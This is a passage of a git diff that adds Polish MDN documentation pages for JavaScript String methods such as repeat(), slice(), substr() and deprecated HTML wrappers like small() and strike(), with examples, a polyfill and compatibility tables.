metodę <code>link</code> stającą się elementami tablicy <code>links</code> z obiektu <code>document</code>. Zobacz <code>document.links</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_link" name="Przyk.C5.82ad:_Zastosowanie_link">Przykład: Zastosowanie <code>link()</code></h3> + +<p>Następujący przykład wyświetla słowo "MDN" jako odnośnik hipertekstowy, poprzez który użytkownik będzie mógł przejść na stronę domową Netscape:</p> + +<pre class="brush: js">var hotText="MDN"; +var URL="<code class="language-js"><span class="token string">https://developer.mozilla.org/</span></code>"; + +console.log("Kliknij, aby powrócić do " + hotText.link(URL)); +// Kliknij, aby powrócić do <a href="https://developer.mozilla.org">MDN</a> +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/string/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/string/prototype/index.html new file mode 100644 index 0000000000..eccba2efdf --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/prototype/index.html @@ -0,0 +1,220 @@ +--- +title: String.prototype +slug: Web/JavaScript/Referencje/Obiekty/String/prototype +tags: + - JavaScript + - Property + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Reprezentuje prototyp obiektów danej klasy. Pozwala na dodawanie własności i metod do wszystkich instancji tej klasy.</p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Description" name="Description">Opis</h2> + +<p>Wszystkie instancje {{jsxref("Global_Objects/String", "String")}} dziedziczą z <code>String.prototype</code>. Zmiany w prototypie obiektu <code>String</code> są propagowane do wszystkich instancji {{jsxref("Global_Objects/String", "String")}}.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt><code>String.prototype.constructor</code></dt> + <dd>Oznacza funkcję, która tworzy prototyp obiektu.</dd> + <dt>{{jsxref("String.prototype.length")}}</dt> + <dd>Odzwierciedla długość łańcucha znaków.</dd> + <dt><code><em>N</em></code></dt> + <dd>Używane celem uzyskania dostępu do znaku na pozycji <em>N-tej</em> gdzie <em>N</em> jest dodatnią liczbą całkowitą między 0 a o jeden mniejszą od {{jsxref("String.length", "length")}}. Własności te są tylko do odczytu.</dd> +</dl> + +<h2 id="Methods" name="Methods">Metody</h2> + +<h3 id="Metody_niezwi.C4.85zane_z_HTML" name="Metody_niezwi.C4.85zane_z_HTML">Metody niezwiązane z HTML</h3> + +<dl> + <dt>{{jsxref("String.prototype.charAt()")}}</dt> + <dd>Zwraca znak o podanym indeksie.</dd> + <dt>{{jsxref("String.prototype.charCodeAt()")}}</dt> + <dd>Zwraca liczbę oznaczającą wartość Unicode znaku o podanym indeksie.</dd> + <dt>{{jsxref("String.prototype.codePointAt()")}} {{experimental_inline}}</dt> + <dd>Returns a non-negative integer that is the UTF-16 encoded code point value at the given position.</dd> + <dt>{{jsxref("String.prototype.concat()")}}</dt> + <dd>Łączy dwa łańcuchy znaków i zwraca nowy łańcuch.</dd> + <dt>{{jsxref("String.prototype.includes()")}} {{experimental_inline}}</dt> + <dd>Determines whether one string may be found within another string.</dd> + <dt>{{jsxref("String.prototype.endsWith()")}} {{experimental_inline}}</dt> + <dd>Determines whether a string ends with the characters of another string.</dd> + <dt>{{jsxref("String.prototype.indexOf()")}}</dt> + <dd>Zwraca indeks pierwszego wystąpienia podanego znaku w obiekcie <code>String</code> lub <code>-1</code>, gdy niczego nie znaleziono.</dd> + <dt>{{jsxref("String.prototype.lastIndexOf()")}}</dt> + <dd>Zwraca indeks ostatniego wystąpienia podanego znaku w obiekcie <code>String</code> lub <code>-1</code>, gdy niczego nie znaleziono.</dd> + <dt>{{jsxref("String.prototype.localeCompare()")}}</dt> + <dd>Returns a number indicating whether a reference string comes before or after or is the same as the given string in sort order.</dd> + <dt>{{jsxref("String.prototype.match()")}}</dt> + <dd>Używane do porównania wyrażenia regularnego z łańcuchem znaków.</dd> + <dt>{{jsxref("String.prototype.normalize()")}} {{experimental_inline}}</dt> + <dd>Returns the Unicode Normalization Form of the calling string value.</dd> + <dt><s class="obsoleteElement">{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}</s></dt> + <dd><s class="obsoleteElement">Wraps the string in double quotes ("<code>"</code>").</s></dd> + <dt>{{jsxref("String.prototype.repeat()")}} {{experimental_inline}}</dt> + <dd>Returns a string consisting of the elements of the object repeated the given times.</dd> + <dt>{{jsxref("String.prototype.replace()")}}</dt> + <dd>Używane do znalezienia podobieństwa pomiędzy wyrażeniem regularnym a łańcuchem znaków, a następnie do podmiany znalezionego podłańcucha nowym podłańcuchem.</dd> + <dt>{{jsxref("String.prototype.search()")}}</dt> + <dd>Uruchamia wyszukiwanie podobieństwa pomiędzy wyrażeniem regularnym a podanym łańcuchem.</dd> + <dt>{{jsxref("String.prototype.slice()")}}</dt> + <dd>Wyciąga kawałek łańcucha i zwraca nowy łańcuch.</dd> + <dt>{{jsxref("String.prototype.split()")}}</dt> + <dd>Dzieli obiekt {{jsxref("String")}} na tablicę łańcuchów poprzez dzielenie łańcucha na podłańcuchy.</dd> + <dt>{{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}</dt> + <dd>Determines whether a string begins with the characters of another string.</dd> + <dt>{{jsxref("String.prototype.substr()")}}</dt> + <dd>Zwraca podłańcuch znaków z łańcucha, zaczynający się w podanym miejscu i podanej długości znaków.</dd> + <dt>{{jsxref("String.prototype.substring()")}}</dt> + <dd>Zwraca znaki w podłańcuchu pomiędzy dwoma indeksami w łańcuchu.</dd> + <dt>{{jsxref("String.prototype.toLocaleLowerCase()")}}</dt> + <dd>The characters within a string are converted to lower case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.</dd> + <dt>{{jsxref("String.prototype.toLocaleUpperCase()")}}</dt> + <dd>The characters within a string are converted to upper case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}.</dd> + <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt> + <dd>Zwraca wywołujący łańcuch skonwertowany do małych liter.</dd> + <dt>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}}</dt> + <dd>Zwraca literał obiektu reprezentujący podany obiekt; możesz użyć tej wartości do utworzenia nowego obiektu. Przesłania metodę {{jsxref("Object.prototype.toSource()")}}.</dd> + <dt>{{jsxref("String.prototype.toString()")}}</dt> + <dd>Zwraca łańcuch reprezentujący podany obiekt. Przesłania metodę {{jsxref("Object.prototype.toString()")}}.</dd> + <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt> + <dd>Zwraca wywołujący łańcuch skonwertowany do wielkich liter.</dd> + <dt>{{jsxref("String.prototype.trim()")}}</dt> + <dd>Trims whitespace from the beginning and end of the string. Part of the ECMAScript 5 standard.</dd> + <dt>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</dt> + <dd>Trims whitespace from the left side of the string.</dd> + <dt>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</dt> + <dd>Trims whitespace from the right side of the string.</dd> + <dt>{{jsxref("String.prototype.valueOf()")}}</dt> + <dd>Zwraca wartość prymitywną podanego obiektu. Przesłania metodę {{jsxref("Object.prototype.valueOf()")}}.</dd> + <dt>{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}} {{experimental_inline}}</dt> + <dd>Returns a new <code>Iterator</code> object that iterates over the code points of a String value, returning each code point as a String value.</dd> +</dl> + +<h3 id="Metody_zwi.C4.85zane_z_HTML" name="Metody_zwi.C4.85zane_z_HTML">Metody związane z HTML</h3> + +<p>These methods are of limited use, as they provide only a subset of the available HTML tags and attributes.</p> + +<dl> + <dt>{{jsxref("String.prototype.anchor()")}}</dt> + <dd>{{htmlattrxref("name", "a", "<a name=\"name\">")}} (hypertext target)</dd> + <dt>{{jsxref("String.prototype.big()")}} {{deprecated_inline}}</dt> + <dd>{{HTMLElement("big")}}</dd> + <dt>{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}</dt> + <dd>{{HTMLElement("blink")}}</dd> + <dt>{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}</dt> + <dd>{{HTMLElement("b")}}</dd> + <dt>{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}</dt> + <dd>{{HTMLElement("tt")}}</dd> + <dt>{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}</dt> + <dd>{{htmlattrxref("color", "font", "<font color=\"color\">")}}</dd> + <dt>{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}</dt> + <dd>{{htmlattrxref("size", "font", "<font size=\"size\">")}}</dd> + <dt>{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}</dt> + <dd>{{HTMLElement("i")}}</dd> + <dt>{{jsxref("String.prototype.link()")}}</dt> + <dd>{{htmlattrxref("href", "a", "<a href=\"rul\">")}} (link to URL)</dd> + <dt>{{jsxref("String.prototype.small()")}} {{deprecated_inline}}</dt> + <dd>{{HTMLElement("small")}}</dd> + <dt>{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}</dt> + <dd>{{HTMLElement("strike")}}</dd> + <dt>{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}</dt> + <dd>{{HTMLElement("sub")}}</dd> + <dt>{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}</dt> + <dd>{{HTMLElement("sup")}}</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>ECMAScript 1st Edition.</td> + <td>Standard</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">See also</h2> + +<ul> + <li>{{jsxref("String")}}</li> + <li>{{jsxref("Function.prototype")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/repeat/index.html b/files/pl/web/javascript/referencje/obiekty/string/repeat/index.html new file mode 100644 index 0000000000..76bf932753 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/repeat/index.html @@ -0,0 +1,166 @@ +--- +title: String.prototype.repeat() +slug: Web/JavaScript/Referencje/Obiekty/String/repeat +translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat +--- +<div>{{JSRef}}</div> + +<p>The <strong><code>repeat()</code></strong> method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>str</var>.repeat(<var>count</var>)</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>count</code></dt> + <dd>An integer between 0 and +∞: [0, +∞), indicating the number of times to repeat the string in the newly-created string that is to be returned.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>A new string containing the specified number of copies of the given string.</p> + +<h3 id="Exceptions">Exceptions</h3> + +<ul> + <li>{{jsxref("Errors/Negative_repetition_count", "RangeError")}}: repeat count must be non-negative.</li> + <li>{{jsxref("Errors/Resulting_string_too_large", "RangeError")}}: repeat count must be less than infinity and not overflow maximum string size.</li> +</ul> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">'abc'.repeat(-1); // RangeError +'abc'.repeat(0); // '' +'abc'.repeat(1); // 'abc' +'abc'.repeat(2); // 'abcabc' +'abc'.repeat(3.5); // 'abcabcabc' (count will be converted to integer) +'abc'.repeat(1/0); // RangeError + +({ toString: () => 'abc', repeat: String.prototype.repeat }).repeat(2); +// 'abcabc' (repeat() is a generic method) +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>This method has been added to the ECMAScript 6 specification and may not be available in all JavaScript implementations yet. However, you can polyfill <code>String.prototype.repeat()</code> with the following snippet:</p> + +<pre class="brush: js">if (!String.prototype.repeat) { + String.prototype.repeat = function(count) { + 'use strict'; + if (this == null) { + throw new TypeError('can\'t convert ' + this + ' to object'); + } + var str = '' + this; + count = +count; + if (count != count) { + count = 0; + } + if (count < 0) { + throw new RangeError('repeat count must be non-negative'); + } + if (count == Infinity) { + throw new RangeError('repeat count must be less than infinity'); + } + count = Math.floor(count); + if (str.length == 0 || count == 0) { + return ''; + } + // Ensuring count is a 31-bit integer allows us to heavily optimize the + // main part. But anyway, most current (August 2014) browsers can't handle + // strings 1 << 28 chars or longer, so: + if (str.length * count >= 1 << 28) { + throw new RangeError('repeat count must not overflow maximum string size'); + } + var rpt = ''; + for (;;) { + if ((count & 1) == 1) { + rpt += str; + } + count >>>= 1; + if (count == 0) { + break; + } + str += str; + } + // Could we try: + // return Array(count + 1).join(this); + return rpt; + } +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome("41")}} </td> + <td>{{CompatGeckoDesktop("24")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatSafari("9")}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome("36")}}</td> + <td>{{CompatGeckoMobile("24")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/javascript/referencje/obiekty/string/search/index.html b/files/pl/web/javascript/referencje/obiekty/string/search/index.html new file mode 100644 index 0000000000..29b9d8e8fb --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/search/index.html @@ -0,0 +1,49 @@ +--- +title: String.prototype.search() +slug: Web/JavaScript/Referencje/Obiekty/String/search +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/search +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wykonuje przeszukanie dla dopasowanych wyrażeń regularnych i tego obiektu {{jsxref("String")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><var>str</var>.search(<var>regexp</var>)</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>regexp</code> </dt> + <dd>Nazwa wyrażenia regularnego. Może być to nazwa zmiennej lub literał.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli sukces, rezultat przeszukania indeksu wyrażenia regularnego wewnątrz łańcucha znaków. Inaczej zwróci -1.</p> + +<p>Kiedy chcesz wiedzieć gdzie jest znaleziony wzorzec w łańcuchu znaków zastosuj <code>search()</code> (podobne do wyrażenia regularnego metody {{jsxref("RegExp.prototype.test()", "test()")}}); aby uzyskać więcej informacji (lecz wolniej wykonywanie) zastosuj {{jsxref("String.prototype.match()", "match()")}} (podobne do wyrażenia regularnego metody {{jsxref("RegExp.prototype.exec()", "exec()")}} method).</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_search" name="Przyk.C5.82ad:_Zastosowanie_search">Przykład: Zastosowanie <code>search</code>()</h3> + +<p>Następujący przykład drukuje wiadomość, która zależy od sukcesu testu.</p> + +<pre class="brush: js">function testinput(re, str){ + var midstring; + if (str.search(re) != -1) { + midstring = " contains "; + } else { + midstring = " does not contain "; + } + console.log (str + midstring + re.source); +} +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/string/slice/index.html b/files/pl/web/javascript/referencje/obiekty/string/slice/index.html new file mode 100644 index 0000000000..4fca8a78ca --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/slice/index.html @@ -0,0 +1,51 @@ +--- +title: String.prototype.slice() +slug: Web/JavaScript/Referencje/Obiekty/String/slice +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/slice +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wydobywa część łańcucha znaków i zwraca go jako nowy łańcuch znaków.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.slice(<var>beginSlice</var>[, <var>endSlice</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>beginSlice</code> </dt> + <dd>Oparty na zerze początek indeksu rozpoczynający wyciąganie.</dd> +</dl> + +<dl> + <dt><code>endSlice</code> </dt> + <dd>Oparty na zerze początek indeksu, który kończy wyciąganie. Jeśli pominięty <code>slice()</code> wydobywa do końca łańcuch znaków.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>slice()</code> wyciąga tekst z jednego łańcucha znaków i zwraca nowy łańcuch znaków. Zmiany w treści jednego łańcucha znaków nie mają wpływu na drugi.</p> + +<p><code>slice()</code> wyciąga tekst do <code>endSlice</code> lecz go nie włącza. <code>string.slice(1,4)</code> wyciąga drugi znak aż do czwartego (znaki o indeksach 1, 2 i 3).</p> + +<p>Jako ujemny indeks <code>endSlice</code> sygnalizuje przesunięcie z końca łańcucha znaków. <code>str.slice(2,-1)</code> wyciąga trzeci przez ostatni znak w łańcuchu znaków.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad_Zastosowanie_slice_do_stworzenia_nowego_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_slice_do_stworzenia_nowego_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie <code>slice()</code></h3> + +<p>Poniższy przykład używa <code>slice</code> do stworzenia nowego łańcucha znaków.</p> + +<pre class="brush: js">var str1 = 'The morning is upon us.'; +var str2 = str1.slice(4,-2); + +console.log(str2); // OUTPUT: morning is upon u +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/string/small/index.html b/files/pl/web/javascript/referencje/obiekty/string/small/index.html new file mode 100644 index 0000000000..be9d33a5bb --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/small/index.html @@ -0,0 +1,37 @@ +--- +title: String.prototype.small() +slug: Web/JavaScript/Referencje/Obiekty/String/small +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/String/small +--- +<div>{{JSRef}} {{deprecated_header}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje to, że łańcuch znaków będzie wyświetlany małą czcionką, jakby znajdował się wewnątrz znacznika {{HTMLElement("small")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.small()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>The <code>small()</code> method embeds a string in a <code><small></code> tag: <code>"<small>str</small>"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znakowego" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znakowego">Przykład: Zastosowanie metody <code>small()</code></h3> + +<pre class="brush: js">var worldString = "Witaj, Świecie"; + +console.log(worldString.small()); // <small>Witaj, Świecie</small> +console.log(worldString.big()); // <big>Witaj, Świecie</big> +console.log(worldString.fontsize(7)); // <fontsize=7>Witaj, Świecie</fontsize></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.fontsize()")}}</li> + <li>{{jsxref("String.prototype.big()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/strike/index.html b/files/pl/web/javascript/referencje/obiekty/string/strike/index.html new file mode 100644 index 0000000000..cef74018f1 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/strike/index.html @@ -0,0 +1,44 @@ +--- +title: String.prototype.strike() +slug: Web/JavaScript/Referencje/Obiekty/String/strike +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/strike +--- +<p>{{JSRef}}{{deprecated_header}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje, iż łańcuch zostanie wyświetlony przekreślony, tak jakby był wewnątrz znacznika {{HTMLElement("strike")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.strike()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>The <code>strike()</code> method embeds a string in a <code><strike></code> tag: <code>"<strike>str</strike>"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znakowego" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znakowego">Przykład: Zastosowanie metody <code>strike()</code></h3> + +<p>Następujący przykład stosuje metodę <code>string</code> do zmiany formatowania łańcucha znakowego:</p> + +<pre class="brush: js">var worldString="Witaj, Świecie"; + +console.log(worldString.blink()); // <blink>Witaj, Świecie</blink> +console.log(worldString.bold()); // <bold>Witaj, Świecie</bold> +console.log(worldString.italics()); // <i>Witaj, Świecie</i> +console.log(worldString.strike()); // <s>Witaj, Świecie</s></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.blink()")}}</li> + <li>{{jsxref("String.prototype.bold()")}}</li> + <li>{{jsxref("String.prototype.italics()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/sub/index.html b/files/pl/web/javascript/referencje/obiekty/string/sub/index.html new file mode 100644 index 0000000000..4c36c53a39 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/sub/index.html @@ -0,0 +1,44 @@ +--- +title: String.prototype.sub() +slug: Web/JavaScript/Referencje/Obiekty/String/sub +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/sub +--- +<p>{{JSRef}}{{deprecated_header}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje, iż łańcuch zostanie wyświetlony jako indeks dolny tak jakby był wewnątrz znacznika {{HTMLElement("sub")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.sub()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>The <code>sub()</code> method embeds a string in a <code><sub></code> tag: <code>"<sub>str</sub>"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_metod_sub_i_sup_do_formatowania_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metod_sub_i_sup_do_formatowania_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie metod <code>sub()</code> i <code>sup()</code></h4> + +<p>Następujący przykład stosuje metody <code>sub()</code> i {{jsxref("String.prototype.sup()", "sup()")}} do formatowania łańcucha znaków:</p> + +<pre class="brush: js">var superText="superscript"; +var subText="subscript"; + +console.log("This is what a " + superText.sup() + " looks like."); +// This is what a <sup>superscript</sup> looks like + +console.log("This is what a " + subText.sub() + " looks like."); +// This is what a <sub>subscript</sub> looks like.</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.sup()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/substr/index.html b/files/pl/web/javascript/referencje/obiekty/string/substr/index.html new file mode 100644 index 0000000000..61487db384 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/substr/index.html @@ -0,0 +1,66 @@ +--- +title: String.prototype.substr() +slug: Web/JavaScript/Referencje/Obiekty/String/substr +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/substr +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca określoną liczbę początkowych znaków w łańcuchu znaków w określonej lokalizacji.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.substr(<var>start</var>[, <var>length</var>])</code></pre> + +<h2 id="Parametry" name="Parametry">Parametry</h2> + +<dl> + <dt><code>start</code> </dt> + <dd>Lokalizacja, w której rozpoczyna się wyciąganie znaków (wartość liczbowa pomiędzy 0, a jeden znak mniej niż długość łańcucha znaków).</dd> +</dl> + +<dl> + <dt><code>length</code> </dt> + <dd>Liczba znaków do wyciągnięcia.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>start</code> jest indeksem znaków. Pierwszym znakiem w indeksie jest 0 i ostatnim znakiem w indeksie jest liczba o 1 mniejsza niż długość łańcucha znaków. <code>substr()</code> rozpoczyna wyciąganie znaków w <code>start</code> i ściąga liczbę <code>length</code> znaków.</p> + +<p>Jeśli <code>start</code> jest dodatnie i jest długością łańcucha znaków lub dłuższą wartością, <code>substr()</code> nie zwraca znaków.</p> + +<p>Jeśli <code>start</code> jest ujemne, <code>substr()</code> stosuje to jako indeks znaków z końca łańcucha znaków. Jeśli <code>start</code> jest ujemne i <code>abs(start)</code> jest większe niż długość łańcucha znaków to <code>substr()</code> stosuje 0 jako początek indeksu.</p> + +<p>Jeśli <code>length</code> jest 0 lub ujemne, <code>substr()</code> nie zwróci znaków. Jeśli <code>length</code> jest opuszczone, <code>substr()</code> wyciągnie znaki aż do końca łańcucha znaków.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_substr" name="Przyk.C5.82ad:_Zastosowanie_substr">Przykład: Zastosowanie <code>substr()</code></h3> + +<p>Rozpatrz poniższy skrypt:</p> + +<pre class="brush: js">var str = 'abcdefghij'; + +console.log('(1, 2): ' + str.substr(1, 2)); // '(1, 2): bc' +console.log('(-3, 2): ' + str.substr(-3, 2)); // '(-3, 2): hi' +console.log('(-3): ' + str.substr(-3)); // '(-3): hij' +console.log('(1): ' + str.substr(1)); // '(1): bcdefghij' +console.log('(-20, 2): ' + str.substr(-20, 2)); // '(-20, 2): ab' +console.log('(20, 2): ' + str.substr(20, 2)); // '(20, 2): ' +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p> </p> + +<ul> + <li>{{jsxref("String.prototype.slice()")}}</li> + 